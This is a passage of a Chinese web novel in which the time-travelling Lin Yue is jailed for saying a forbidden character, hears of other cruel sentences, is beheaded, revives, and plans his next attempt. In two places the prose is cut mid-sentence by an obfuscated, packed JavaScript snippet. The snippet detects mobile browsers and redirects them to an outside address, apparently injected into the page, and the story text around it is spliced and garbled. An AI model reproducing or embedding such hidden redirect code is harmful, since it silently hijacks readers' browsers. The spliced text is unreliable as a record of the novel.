但没人听得见他的心声。在这个世界,规则就是规则,法律就是法律,没有理由,没有解释,没有通融。 两个衙役上前,一左一右架起林越。林越没有挣扎,没有反抗。他知道,挣扎也没用,反抗也没用。在这个公堂上,县官就是天,县官的话就是法。 他被拖出公堂,拖过长长的走廊,拖向大牢。走廊两旁的墙壁上挂着一些字画,有的是山水,有的是警句。林越看见其中一幅字,上面写着:“法不容情”。 手腕上的红痕,最后一道,也开始慢慢变淡。他能感觉到,那种熟悉的、死亡临近的感觉又来了。 “第三次了……” 他想着,“这次死了,就真的死了吧……” 他不知道死亡轮回的机制是什么,为什么前两次死了能重生,为什么手腕上会有红痕。但他知道,这次可能是最后一次了。红痕只剩一道,如果这次死了,可能就再也没有重生的机会了。 他被扔进大牢。牢房很小,很暗,只有一扇小窗透进一点光。地上铺着干草,散发着霉味。墙角有只老鼠,看见他进来,吱吱叫了两声,跑开了。 林越靠在墙上,慢慢滑坐在地上。他抬起手腕,看着那道红痕。在昏暗的光线下,它像一道血色的伤疤,提醒着他:只剩一次机会了。 而现在,这最后的机会,也要用完了。 “完了……”他喃喃自语,“这次,真的完了。” 他闭上眼睛,等待死亡的到来。 就为了一个包子。 就为了说错一个字。 他就要死了。 第三次死亡。 也是最后一次。 “拖下去,后日午时三刻,斩首示众!”县官挥了挥手。 林越被拖了下去。他没有挣扎,没有反抗。他知道,挣扎也没用,反抗也没用。 他被推搡着往前走,脑子里一片空白。只有两个字在回荡:完了。 这次,真的完了。 7. 斩首台前 林越靠在冰冷的石墙上,感受着熟悉的霉味和尿骚味。这已经是他第三次进监狱了,每次的氛围都如出一辙——压抑、绝望。石墙粗糙,湿漉漉的,透着一股寒意。墙角的老鼠吱吱叫着,像是在嘲笑他这个“老油条”。 第三次了。第一次在黄壤屯,因为语言问题被当成奸细;第二次在清水镇,因为沉默被当成不敬;这次是因为偷包子和说错字。 这牢房,比前两次的还差。空间小,转个身都难;光线暗,只有一个小窗透进一点点光;通风差,空气不流通,霉味重;老鼠多,而且不怕人。综合评分……负十分。他想起现代那些酒店评分网站,如果牢房也能评分,这间绝对是最低分,一星都嫌多,评论区肯定都是“差评,不推荐入住”。 “三进宫啊……”他低声自语,声音在空荡的牢房里回荡,“第一次是误会被抓,第二次是冤枉入狱,这次是自找的。”语气里带着自嘲,像是在总结自己的失败经历。 他想起第一次进牢的情景。那时他刚穿越不久,语言不通,礼仪不懂,像个傻子。因为一个发音错误被当成北狄奸细,在牢里被严刑拷打,被鞭子抽,最后被扔到乱葬岗,喂了乌鸦。那种痛苦,那种绝望,他至今记忆犹新。 第二次进牢,是因为不说话。他以为装哑巴能保命,结果沉默被当成不敬,又被判了死刑。那次是被杖毙的,一杖一杖地打,骨头都打断了,内脏都震伤了。那种疼痛,比第一次更甚。 “三进宫?”隔壁传来一个沙哑的声音,像是砂纸磨过木头,“尔这后生,看着年纪轻轻,倒是个惯犯?”语气里带着好奇,没有恶意。 林越转过头,透过木栅栏的缝隙,看见隔壁牢房里坐着一个中年汉子。那人衣衫褴褛,粗布衣破了好几个洞,头发蓬乱,但眼神还算清明,正饶有兴致地打量着他。 “算不上惯犯。”林越自嘲地摇摇头,“第一次是误会,第二次是冤枉,这次是倒霉到极点的那种。” “误会?冤枉?”中年汉子嗤笑一声,“进了这大牢的,哪个不说自己是冤枉的?说说看,尔犯了什么事?偷鸡摸狗?还是拦路抢劫?” 林越沉默了片刻。他知道,在这个世界,偷窃虽然可耻,但至少比“亵渎皇权”的罪名轻得多。他深吸一口气:“偷了个包子。” “包子?”中年汉子愣了一下,像是没听清。随即哈哈大笑起来,笑声在空荡的牢房里回荡,“偷包子?就为了个包子,被关进大牢?尔当我是三岁小儿?”他笑得上气不接下气。 “是真的。”林越认真地说,“我太饿了,一天没吃饭,实在受不了……” “那也不至于进大牢。”中年汉子打断他,笑声停了,“清水镇的张老板,就是包子铺那个,我知道他。那是个善人,经常施舍穷人。尔偷他的包子,他顶多让尔干几天活抵债,怎会送官?”他顿了顿,“除非尔还干了别的事。” 林越低下头,看着自己脏兮兮的手。手指上有碳灰,有泥土,指甲缝里塞满了伪装时留下的痕迹。他想起包子铺老板那张和善的脸,圆圆的,总是带着笑;想起老板说“在我这儿干三天活,抵这个包子的钱”时的温和语气。老板确实是个好人,给了他机会。 如果当时没有说错字……林越想着,思绪飘回那个瞬间。如果当时冷静一点,发音准一点,别那么紧张,别那么饿……现在应该正在包子铺干活吧?搬面粉,揉面团,蒸包子。虽然累,但至少能吃饱,能活下去,不用在这牢房里等死。 “你说得对。”林越的声音很轻,“老板确实想让我干活抵债。他给了我机会。”他抬起头,“但我搞砸了。” “那尔怎么还在这儿?”中年汉子追问,“张老板那么好说话的人,怎么会把尔送官?除非尔做了什么更过分的事?” 林越顿了顿,喉咙有些发干。“因为……”他闭上眼睛,仿佛又回到了那个瞬间,“我在辩解的时候,太紧张,太饿了……我想说‘饿’,但说成了……说成了‘龙’。” 牢房里突然安静下来。连墙角的老鼠都停止了啃咬。 中年汉子脸上的表情凝固了。他盯着林越,过了好一会儿,才缓缓开口,声音压得很低:“尔……尔说了那个字?” 林越点点头。他知道,在这个世界,“龙”字意味着什么——皇权的象征,庶民的禁忌,说错就是死罪。 “尔知道那是什么罪吗?”中年汉子的声音更低了,“亵渎皇权……斩立决……尔怎么敢……”他往后缩了缩。 “我不是故意的。”林越抬起头,眼神里满是无奈和绝望,“我只是太紧张了,发音错了。我想解释,但没人听。他们都说我亵渎皇权,要杀头……” 中年汉子沉默了。他靠在墙上,仰头看着牢房顶部的蜘蛛网,长长地叹了口气。 “我在这牢里待了三个月了。”中年汉子突然开口,声音平静了许多,“我见过很多人,犯过很多罪。有偷窃的,有抢劫的,有杀人的……但说那个字的,尔是第一个。”他顿了顿,“也是最后一个,因为说那个字的,都活不了。” 林越抬起头,想从他脸上找到一丝希望,但只看到麻木。 “三个月前,我也是因为一个字进来的。”中年汉子继续说,“不过不是那个字,是‘炎’字。我在酒馆喝酒,喝多了,说了句‘大炎王朝也不过如此’。被人听见,举报了,就进来了。”他苦笑,“就为了一句话,一句醉话。” “炎”字也不行?林越心里一惊。这禁忌也太多了吧?“龙”不行,“炎”不行,还有多少字不行?这敏感词列表比XX的屏蔽词库还长,至少XX的只是屏蔽,这里是要命。 “判了三年。”中年汉子苦笑,皱纹挤在一起,“三年啊……就为了一句话,一句醉话。不过比起尔,我算是幸运的了。至少还能活着出去,虽然不知道出去后还能不能找到活干,还能不能活下去。”他摇摇头,“这世道,活着不容易。” 中年汉子沉默了一会儿,似乎在回忆什么,然后缓缓开口:“说起县官大人判的案子……前几日还有两桩,都挺有意思的,我也是听狱卒闲聊知道的。”他看向林越,像是在征求同意。 林越抬起头,虽然知道自己命不久矣,明天就要被砍头,但听到这些事,还是忍不住好奇。他点点头,示意继续。 “第一桩,是个小伙子。”中年汉子说,声音平缓,“年纪跟尔差不多,二十出头,血气方刚。他在街上跟县官大人的轿子撞上了——也不是故意的,就是人多,挤来挤去,不小心撞到了轿子,轿子晃了一下。” “就这?”林越问,有点不敢相信,“撞到轿子就要判刑?这路是官家的,不是县官一个人的。” “撞到轿子不算什么。”中年汉子摇摇头,“关键是,轿子被撞得晃了一下,县官大人从轿子里摔了出来,帽子都掉了,滚在地上。那小伙子吓坏了,赶紧去扶,结果手忙脚乱,扶人的时候,手碰到了县官大人的脸。”他顿了顿,强调,“碰到了脸。” 林越心里一沉:“碰到了脸?”他知道这意味着什么,在这个等级森严的社会,触碰官员的脸是极大的不敬。 “嗯。”中年汉子叹了口气,“碰到了脸。县官大人当场就怒了,脸都气红了,说这是‘不敬之罪’,是‘亵渎官威’。当场就让人把那小伙子抓了起来,直接判了死刑。”他摇摇头,“就为了一碰。” “死刑?”林越难以置信,“就因为碰到了脸?这算什么罪?又不是故意的!” “就因为碰到了脸。”中年汉子肯定地说,“县官大人说,官威如天,不可侵犯。庶民触碰官员的脸,就是触碰天威,是大不敬。按律当斩。” 林越不知道该说什么。在这个世界,官员的脸比人命还重要,碰一下就要死。这让他想起现代那些“领导碰不得”的潜规则,但至少现代不会因为碰了领导的脸就被杀头,最多被穿小鞋。这里直接要命,效率真高。 “第二桩呢?”林越问。 “第二桩更荒唐。”中年汉子苦笑,“是个小姑娘,十四五岁的样子,瘦瘦小小的,看着就可怜。她说自己是‘龙语(两字连读的一个音:leu)者’的后裔,能解决镇外那条干涸的河床问题,让河水重新流淌。” 林越心里一动:“龙语者?”他想起之前听到的传闻,关于龙语者的传说,关于那条干涸的河。 “对,龙语者。”中年汉子压低声音,“她说她祖上是侍奉龙神的,懂得龙语,能跟龙神沟通。她说那条河床干涸是因为龙神生气了,只要她念一段龙语咒文,就能让龙神息怒,河水就会重新流淌。”他顿了顿,“她说得很认真,眼睛里有光,像是真的相信。” “然后呢?”林越追问。 “然后?”中年汉子摇摇头,像是惋惜,“然后就被抓了。县官大人说她是‘装神弄鬼’,是‘妖言惑众’。说她自称龙语者后裔,就是亵渎皇权——因为只有皇族才有资格侍奉龙神,庶民自称龙语者,就是僭越,是大罪。”他叹了口气,“小姑娘不懂这些,她只是想帮忙,想让河水回来,让镇子不再干旱。” “判了什么?”林越问。 “本来也要判死刑的。”中年汉子说,“但县官大人看她年纪小,又是女孩,就‘法外开恩’,改判了‘晒刑’——绑在镇口的木桩上,暴晒五天。如果五天不死,就放了她。”他苦笑,“这算什么恩?比死刑还残忍。” “暴晒五天?”林越倒吸一口凉气,“这比死刑还残忍吧?五天,不吃不喝,在太阳底下暴晒……” “谁说不是呢。”中年汉子叹气,“第一天就晒晕了三次,嘴唇都裂开了;第二天开始说胡话;第三天就是今天,就是刚刚我听狱卒说已经没动静了;也不知道能不能撑得过明天。”他顿了顿,“才十五岁啊。” 牢房里再次陷入沉默。 林越想象着那个画面:一个十四五岁的小姑娘,被绑在木桩上,在烈日下暴晒五天,变成一具干尸。就因为自称龙语者后裔,就因为想解决河床干涸的问题。这世界,太残酷了。 “那河床呢?”林越突然问,“河床的问题解决了吗?河水回来了吗?” “解决?”中年汉子嗤笑,“怎么可能解决。县官大人说了,河床干涸是天意,是龙神的安排,凡人不可干预。谁敢干预,就是违逆天意,就是死罪。”他顿了顿,“所以河水还是干的,镇子还是缺水。” 天意……林越心里冷笑。在这个世界,一切都是天意,一切都是龙神的安排。官员的脸碰不得,龙字说不得,河床干涸是天意,庶民只能认命。 “所以啊,”中年汉子总结道,“尔这次,肯定逃不掉了。县官大人最恨的就是亵渎皇权等不敬礼法的人,尤其是说那个字的。那个小姑娘只是自称龙语者后裔,就被晒死了。尔直接说了‘龙’字,还能活?”他摇摇头,“不可能。” 林越不再说话,他知道中年汉子说的是对的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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如果死了……能回到现代吗?他想起现代的生活,虽然辛苦,996,KPI,但至少安全,至少自由,至少不会因为说错一个字就被杀头。他想起父母,想起朋友,想起那个还没写完的项目…… 对不起……他在心里默默道歉。 刽子手走上了平台。那是个高大的汉子,光着膀子,脸上没有任何表情。他手里拿着一把大刀,刀刃闪着寒光。 这刀……林越眯起眼睛,努力想。好像在哪里见过……想不起来了,也没时间想了。 刽子手举起了刀。动作很稳,很有力。刀身在阳光下闪着寒光。林越能看见刀身上的倒影——自己的脸,苍白,没有血色。 要死了……他闭上眼睛,等待死亡的降临。 但刀没有落下来。 他睁开眼睛,看见刽子手放下了刀,走到一边,和监斩官说了些什么。 没想到死前还会有“十秒缓刑”……林越心里苦笑。这算什么?行刑前的仪式感? 这短暂的停顿,让他的思绪飘回了原来的世界。他想起了自己那三支股票——新能源、医药、科技股。上周刚加仓,想着等这波行情起来,就能凑够提前还贷的钱了。 都打了水漂了……他感到一阵心痛,不是为即将到来的死亡,而是为那些辛苦攒下的钱。每个月的工资,他都要精打细算,眼看着就要够还清房贷了,就差那么一点点。 他想起自己那个小小的公寓,四十平米,一室一厅。首付是父母帮忙凑的,剩下的贷款他计划五年内还清。每次加班到深夜,回到那个小窝,他都会告诉自己:再坚持一下,等还完贷款,这就是完全属于自己的家了。 差一点点……就差那么一点点…… 没想到还是要死了。在这个莫名其妙的世界,因为一个莫名其妙的字,就要被斩首示众。这经历,要是能写成小说,肯定没人信。 刽子手走回斩首台前,重新举起了刀。这一次,他的动作更慢,更稳。 要来了……他深吸一口气。这次真的要来了…… 刀落了下来。 林越感觉脖子一凉,然后是一阵剧痛,很短暂。他看见自己的血喷了出来,在阳光下闪着诡异的光。 原来斩首是这种感觉……不疼……就是有点凉。然后就是黑暗。 在意识即将消散的瞬间,林越的视线模糊了。刑场上密密麻麻的人群,他们的影子在午后的阳光下被拉得很长,扭曲变形。就在这些扭曲变形的影子中,林越仿佛看到了什么—— 一个巨大的、扭曲的“龙”字。 那字迹和他之前在石板血痕上看到的一模一样,歪歪扭扭,笔画复杂。它由无数人的影子交织而成,在刑场的地面上蜿蜒盘旋,像一条活过来的龙。 又是这个字……林越的意识在迅速消散。为什么到处都是这个字……在令牌上,在血痕里,在影子里……这个字到底意味着什么? 那影子组成的“龙”字似乎在呼吸,在蠕动。它从一个人的影子延伸到另一个人的影子,最后甚至延伸到了林越自己的血泊中。血和影子混合在一起,形成一种诡异的图案。 难道……这个世界的秘密……和“龙”有关? 这个念头在脑海中一闪而过。但林越已经没有时间去思考了。黑暗如同潮水般涌来,吞噬了一切。他看见天空在旋转,看见人群在晃动,看见那个影子组成的“龙”字在血泊中慢慢消散。 要死了……他想,这是最后一个念头。这次……真的死了…… 他想起手腕上的红痕。最后一道红痕,现在应该已经消失了吧? 他不知道。 也没机会知道了。 黑暗越来越浓。意识越来越模糊。最后,他听见一个声音,很遥远,很模糊: “午时三刻已到,行刑完毕——” 然后,一切归于黑暗。 8. 轮回启示 “咳……咳咳……” 林越猛地睁开眼睛,剧烈地咳嗽起来。他发现自己躺在荒漠上,身下是滚烫的黄沙,烈日当空。 他挣扎着坐起来,第一件事就是检查自己全身上下。手、脚、胳膊、腿,都还在,完好无损。摸摸脸,没有伤痕;看看衣服,没有血迹。没有缺失任何零件!他活过来了!再一次! 林越忍不住跳了起来,高声欢呼,声音在空旷的荒漠中回荡:“哇哦!!!YES!YES!”眼泪流了下来,和脸上的沙尘混合在一起。他一边哭一边笑,像个孩子。 他在荒漠中奔跑着,张开双臂,像是要拥抱整个世界。感受着炽热的阳光洒在脸上,那是一种久违的、活着的触感。 “哈哈哈哈!”他放声大笑,“我活下来了!我真的活下来了!”死亡三次,重生四次,这种体验比坐过山车还刺激。 泪水涌出,与脸上的沙尘混合。他跪倒在沙地上,双手捧起一把黄沙。这触感如此真实,如此鲜活,提醒他这不是梦。 他想起了前三次死亡——狱中的酷刑,杖毙的剧痛,斩首的冰冷。每一次都那么真实,每一次都那么绝望。但现在,他活下来了,像是从地狱爬回了人间。 “我不是炮灰……”他喃喃自语,“我不是任人宰割的炮灰……”他想起那些穿越小说里的主角,总是开挂,总是逆袭。而他,差点真成了炮灰,死了一次又一次。但现在,他撑过来了。 他站起身,仰头望向天空,烈日刺眼,但他毫不避讳地直视着。阳光刺痛了眼睛,泪流得更凶,但让他更加真切地感受到自己的存在。 喜悦如潮水般涌来,冲刷着长久以来积压在心底的恐惧和绝望。他想起在清水镇的日子——那些小心翼翼、如履薄冰的日子。每一次开口说话都要反复斟酌,每一个动作都要模仿到位,每一次眼神交流都要恰到好处。 但现在,这一切都过去了。他回到了起点,沙漠,虽然荒凉,但至少没有那些复杂的人际关系,没有那些要命的规矩。 “活着真好……”他闭上眼睛,感受着心跳的节奏,“活着……真好。”以前觉得活着理所当然,现在才知道,活着是最大的幸运。 抬起左手腕,动作很慢。 红痕。 不,不对。 他揉了揉眼睛,凑近了仔细看。 原本清晰的一道红痕,现在……消失了? 不,不是完全消失。在原本红痕的位置,出现了一道黑色的线条,像是用墨笔画上去的。那道线条很短,大概只有一厘米,很淡。 而且,那道线条……在动? 林越瞪大眼睛,看着那道黑色的线条。它确实在动,在缓慢地增长,速度很慢,像蜗牛,但确实在动。 这黑痕……会增长到什么程度?他盯着手腕上的黑痕,心里涌起一股不祥的预感,如果黑痕长满了……会发生什么? 他不知道。他只知道,自己必须活下去,必须弄清楚这个世界的真相,必须找到回家的路。 林越强迫自己冷静下来。狂喜过后,是更深层次的恐惧——对未知的恐惧,对那黑色线条的恐惧。 他坐在沙地上,开始强迫自己思考。 “不能这样下去。”他低声自语,“不能每次都只是被动地活着,被动地死亡,被动地重生。” 他抬起手腕,看着那道缓慢增长的黑色线条。它像一道倒计时,无声地提醒着他:时间有限。 “每一次轮回,我都只是在求生。”林越闭上眼睛,回忆着前三次的经历,“第一次,我只想着活命,结果死在狱中。第二次,我学会了语言,但还是死在杖下。第三次,我模仿得更像了,甚至开始理解这个世界的规则,但还是被斩首。” “为什么?”他问自己,“为什么每次都失败?” 答案其实很明显——他太执着于“活着”本身,而忽略了真正关键的东西。 “龙。”林越睁开眼睛,眼神变得锐利,“三次轮回,三次都有龙的痕迹。” 林越闭上眼睛,开始仔细回忆每一次死亡前看到的"龙"字细节。 第一次死亡,在狱中。狱卒把他拖去乱葬岗时,他看到了狱卒腰间令牌的反面——菱形炎纹中央,被人用利器刻了一个歪歪扭扭的"龙"字。那字迹很稚嫩,像是小孩的涂鸦,笔画转折处带着一种天真的笨拙。当时他只觉得那字写得难看,比公司实习生写的代码还难看。但现在想来,那可能不是随意刻画的。狱卒的令牌是官方物品,谁敢在上面刻字?而且刻的还是禁忌的"龙"字? 第二次死亡,被杖毙在石板上。在意识即将消散的瞬间,他看到自己的鲜血在石板上流淌,慢慢汇聚成一个歪歪扭扭的"龙"字。那个字和狱卒令牌上的一模一样,同样的笔画,同样的扭曲,同样的稚嫩感。血痕在阳光下闪着诡异的光,像是有生命一样在石板上蜿蜒。当时他只觉得这世界太诡异,但现在想来,那可能不是幻觉。鲜血为什么会自动形成那个特定的字?而且偏偏是"龙"字? 第三次死亡,斩首台上。在脖子被切断的瞬间,他看到刑场上密密麻麻的人群,他们的影子在午后的阳光下被拉得很长。就在这些扭曲变形的影子中,他看到了一个巨大的、扭曲的"龙"字。那字迹和之前看到的如出一辙,但这一次是由无数人的影子交织而成。影子组成的"龙"字在刑场的地面上蜿蜒盘旋,像一条活过来的龙,在光影中游动。它从一个人的影子延伸到另一个人的影子,从监斩官的脚下蔓延到刽子手的脚下,最后甚至延伸到了他自己的血泊中。 还有包子铺张老板账本上的符号——那个看起来像是一条盘曲的蛇,又像是一个扭曲的"龙"字的符号。老板用这种奇怪的符号记账,而不是普通的文字。那个符号和血痕形成的"龙"字有几分相似。 "三次死亡,三次看到''龙''字。"林越喃喃自语,"第一次是刻痕,第二次是血迹,第三次是影子。每一次都是在我濒死的时候出现,每一次都是同样的字迹。" 他想起中年汉子在牢里说的话:"那个小姑娘只是自称龙语者后裔,就要被晒死了。" 龙语者后裔。龙语。龙字。 这一切都指向同一个方向——"龙"是这个世界的核心秘密。皇权以龙为图腾,皇帝自称"真龙天子",民间严禁使用"龙"字。但与此同时,狱卒令牌上刻着"龙"字,濒死时鲜血会形成"龙"字,刑场上影子会组成"龙"字,包子铺老板用类似"龙"字的符号记账。 "禁忌和秘密总是相伴而生。"林越推理着,"越是禁止的东西,往往越是重要。在这个世界,''龙''字是禁忌,但到处都是''龙''的痕迹。这说明什么?说明''龙''的力量是真实存在的,但被皇权垄断了。普通人不能接触,不能谈论,甚至不能提及。" "而龙语者后裔——那个少女,她自称能使用龙语,能跟龙神沟通,能解决河床干涸的问题。这直接触犯了皇权的垄断。所以县官要惩罚她,要晒死她。不是因为她是骗子,而是因为她真的可能拥有这种力量。" 林越想起第二次轮回中,在清水镇看到的那个被五花大绑押着走的少女。瘦瘦小小的,十四五岁的样子。当时他只觉得她可怜,但现在想来,她可能就是关键。 "狱卒令牌上的''龙''字,可能是某个同龙语者有关的人刻的。或者,那个狱卒自己就和龙语者有关联。包子铺老板的符号,可能是一种隐秘的记录方式,记录着和''龙''相关的信息。濒死时看到的''龙''字,可能不是幻觉,而是这个世界某种规则的显现——当我接近死亡时,能看到这个世界的真相。" "而这个真相,就是''龙语''。" 林越睁开眼睛,眼神变得锐利。他抬起手腕,看着那道缓慢增长的黑色线条。 "黑痕在增长,说明我有时间限制。我必须在这个时间内,解开''龙''的秘密,找到龙语者少女,弄清楚这一切的真相。" "而这一切,都指向同一个方向——清水镇,那个自称龙语者后裔的少女,那条干涸的河床,还有那个无处不在的''龙''字。" “傻子都知道有问题。”他苦笑,“而我,因为一次次死亡、痛苦和绝望,导致思维变得狭隘。我只想着怎么活过今天,怎么不被发现,怎么避免死亡。” “但这不是真正的通关方式。” 林越站起身,开始在沙地上踱步。炽热的阳光照在他身上,但他浑然不觉。 “既然会有黑色倒计时,那说明必须是在规定时间内完成任务。”他推理着,“这是穿越的常识。无限流小说里都是这么写的——完成任务,获得奖励,或者……回家。” “回家”两个字让他的心跳加速了。 他想起现实世界——那个他曾经厌倦的996生活,那个充斥着加班、KPI、房贷压力的世界。现在想来,那些烦恼多么微不足道。至少,那里有他的家人,有他的朋友,有他熟悉的一切。 “如果能回去……”林越的声音颤抖了,“如果能摆脱这一切……” 他不敢奢望,但忍不住奢望。他太累了,太害怕了。每一次死亡都是真实的痛苦,每一次重生都是短暂的喘息。这种循环,会把人逼疯。 “必须复盘。”他下定决心,“必须把前面所有的问题和线索都梳理清楚。” 林越决定像程序员一样进行一次彻底的复盘。他找了一块相对平整的沙地,用手指在沙子上画了一个表格,就像在写项目总结报告。 项目名称:异世界生存计划(第四次迭代) 项目状态:三次失败,第四次进行中 项目风险:高(生命危险) 项目经理:林越(兼执行人、测试员、背锅侠) 一、失败案例复盘 1.第一次死亡(黄壤屯) 错误类型:语言问题(口音暴露) 直接原因:说“多钱”被当成北狄细作 根本原因:对本地语言零了解,未做任何背景调查 教训:语言是基础,必须先学说话再说话 2.第二次死亡(清水镇) 错误类型:沟通策略问题(沉默被误读) 直接原因:装哑巴被当成不敬 根本原因:过度恐惧导致沟通策略极端化 教训:不说话也不行,关键是要说对的话 3.第三次死亡(清水镇) 错误类型:综合失误(偷窃+禁忌词) 直接原因:偷包子被抓,辩解时说错“龙”字 根本原因:饥饿导致判断失误,紧张导致发音错误 教训:生理需求要及时满足,禁忌词要彻底避免 二、关键发现 1.红痕机制:疑似生命次数标记,三道红痕对应三次死亡机会 2.黑痕机制:红痕耗尽后出现,缓慢增长,意义未知(可能是倒计时?) 3.“龙”字线索:反复出现(令牌、血痕、影子),与世界核心秘密相关 4.龙语者少女:自称能解决河床干涸,因自称龙语者后裔被晒死 5.禁忌体系:“龙”、“炎”、“皇”等字为皇室专属,庶民提及即死 三、SWOT分析 优势(Strengths) 拥有现代知识和逻辑思维能力 经历过三次死亡,心理承受能力增强 了解部分本地语言和礼仪 知道部分危险点和禁忌 劣势(Weaknesses) 语言能力仍然不足,发音不标准 没有合法身份,是“流民” 缺乏社会关系和资源 黑痕在增长,时间可能有限 机会(Opportunities) 可以系统学习语言和礼仪 可以寻找“龙”字线索,可能找到世界秘密 可以利用现代知识解决古代问题(如河床干涸) 可以建立社会关系,获取身份 威胁(Threats) 禁忌众多,一不小心就触犯 官员权力极大,可以随意判死刑 社会等级森严,底层生存困难 黑痕意义未知,可能时间有限 基本思路理清,现在就是要找到通关的关键抓手和基本逻辑。 他写下第一个关键词:“龙”。 “通关必跟‘龙’有关。”他自言自语,“这是最明显的线索。龙语者后裔的少女——她很大概率是关键人物。” 林越在沙地上写下“龙语少女”四个字,然后开始仔细梳理自己在前三次轮回中了解到的关于她的所有信息。 “第一次轮回,我根本不知道她的存在。”林越自言自语。 “第二次轮回,我在清水镇看到了她。”林越闭上眼睛,努力回忆那个画面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119394|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当时我躲在绸缎庄后巷,看见几个玄铁甲护卫押着一个五花大绑的少女走过。她脖子上挂着的玉坠,正是我之前换给富户的平安扣!” 林越在沙地上画了一个圈,代表玉坠。“那玉坠为什么会出现在她脖子上?是富户转卖给了别人,然后那个人又给了她?还是说,这玉坠被用来作为某种信物或报酬?” 他继续回忆:“当时我太紧张了,只想着别被牵连,没敢细看。但现在想来,那个少女瘦瘦小小的,十四五岁的样子,被绑着押走,肯定不是什么好事。” “第三次轮回,我在牢里听同监犯说起她。”林越在沙地上写下“牢中听闻”四个字,“那个中年汉子告诉我,县官判过一桩案子——有个小姑娘,自称‘龙语者后裔’,说能解决镇外那条干涸的河床问题。” 林越一字一句地复述着中年汉子的话:“她说自己祖上是侍奉龙神的,懂得龙语,能跟龙神沟通。她说那条河床干涸是因为龙神生气了,只要她念一段龙语咒文,就能让龙神息怒,河水就会重新流淌。” “然后呢?”林越仿佛在问自己,“然后就被抓了。县官说她是‘装神弄鬼’,是‘妖言惑众’。说她自称龙语者后裔,就是亵渎皇权——因为只有皇族才有资格侍奉龙神,庶民自称龙语者,就是僭越,是大罪。” 林越在沙地上写下“晒刑”两个字,笔触很重。“本来要判死刑的,但县官看她年纪小,又是女孩,就‘法外开恩’,改判了‘晒刑’——绑在镇口的木桩上,暴晒五天。如果五天不死,就放了她。” 他想起中年汉子的描述:“第一天就晒晕了三次,嘴唇都裂开了;第二天开始说胡话;第三天就是今天,就是刚刚我听狱卒说已经没动静了;也不知道能不能撑得过明天。” 林越感到一阵寒意。一个十四五岁的小姑娘,就因为自称龙语者后裔,想解决河床干涸的问题,就被活活晒死。这比斩首更残忍,更漫长,更痛苦。 “龙语者……”林越喃喃自语,“她说自己能使用龙语,能跟龙神沟通。如果这是真的,那她可能真的拥有某种超自然的力量。但县官不信,或者说,县官不能信——因为皇权垄断了‘龙’的解释权,任何民间自称能与龙沟通的人,都是对皇权的挑战。” 林越想起狱卒令牌上的“龙”字,想起石板血痕形成的“龙”字,想起刑场上影子组成的“龙”字。“这个世界到处都是‘龙’的痕迹,但‘龙’字又是禁忌。这说明什么?说明‘龙’的力量是真实存在的,但被皇权垄断了。普通人不能接触,不能谈论,甚至不能提及。” “而龙语者少女,她自称能使用龙语,能跟龙神沟通,能解决河床干涸的问题。这直接触犯了皇权的垄断。所以县官要惩罚她,要晒死她。不是因为她是骗子,而是因为她真的可能拥有这种力量。” 林越继续梳理:“包子铺老板账本上的符号,那些奇怪的、像大篆变体的符号,可能也是一种与‘龙’相关的记录方式。老板用这种符号记账,而不是普通的文字,说明他可能知道些什么,或者属于某个秘密团体。” “还有那个商人——中年汉子说,有个商人用富户卖的普通玉坠作为报酬,欺骗龙语少女使用龙语。这说明什么?说明有人知道龙语者的存在,并且试图利用她们的能力。那个商人可能是骗子,也可能是某个势力的代理人。” 林越在沙地上画了一个关系图:龙语少女——玉坠——商人——富户——林越自己。这条线连成了一个圈。 “我的玉坠,从现代带来,被富户买走,可能被商人得到,然后作为报酬给了龙语少女。而龙语少女因为接受了这个‘报酬’,所以愿意使用龙语。但结果是,她被晒死了。” “如果我能救她……”林越想着,“如果我能救下她,也许就能了解更多关于‘龙语’的秘密。也许她真的知道这个世界的真相,知道‘龙’的秘密,甚至知道……我为什么会穿越到这里。” “语言的系统性学习必须继续。”林越写下第二个要点,“但不止是语言。延伸出的礼法和习惯用法也要尤其注意。第三次轮回中,我就是因为礼法问题被定罪——‘直视长者’是不敬,‘擅自开口’是僭越。” 他想起那些复杂的礼节,那些微妙的眼神交流,那些看似随意实则蕴含深意的手势。这个世界,语言只是基础,礼法才是真正的通行证。 “流民身份是最大的障碍。”林越写下第三个要点,“必须想办法解决这个问题。没有身份,在这个世界寸步难行。第一次轮回死在狱中,就是因为流民身份。第二次轮回虽然活得更久,但最终还是因为身份问题被定罪。” “包子铺老板的账本符号可能也有问题。”他想起第二次轮回中看到的那些奇怪符号,“那些不是普通的记账符号。当时没时间细究,但现在想来,可能隐藏着什么信息。” “清水镇的干涸河床。”林越写下第五个要点,“镇子叫‘清水镇’,但河床是干的。这本身就很奇怪,是线索。” 他继续思考,把能想到的所有可疑点都列出来。 “光谨慎是不够的。”林越在沙地上重重划下一道,“需要将所有觉得可疑的部分都要进行探索。前三次轮回,我太保守了,只想着避开危险。但在这个世界,避开危险可能就意味着错过关键线索。” “要建立关系。”他写下最后一个要点,“最好是跟有权势的人的关系。第三次轮回中,如果我有靠山,可能就不会被轻易定罪。在这个世界,人际关系网可能比个人能力更重要。” 林越看着沙地上的字迹,长长地吐出一口气。 七个关键点,七个方向。 “这个任务的通关必然链接着一个结果。”他低声说,“可能是结束本次轮回,进入下一轮。可能是真正获得系统或什么资格。也可能……可能是可以回去现实世界,摆脱这一切。” 最后一种可能性让他心跳加速。 他太想回去了。不是因为他怀念996的生活,而是因为他怀念“正常”的生活——没有死亡威胁,没有轮回恐惧,没有黑色倒计时的生活。 “但首先,我得活下去。”林越握紧拳头,“而且,要活得明白。” 他抬头望向远方,黄壤屯和清水镇的方向。 这一次,他不会只是求生。 这一次,他要主动出击。 这一次,他要解开“龙”的秘密,找到通关的方法,然后……回家。 9. 重整旗鼓 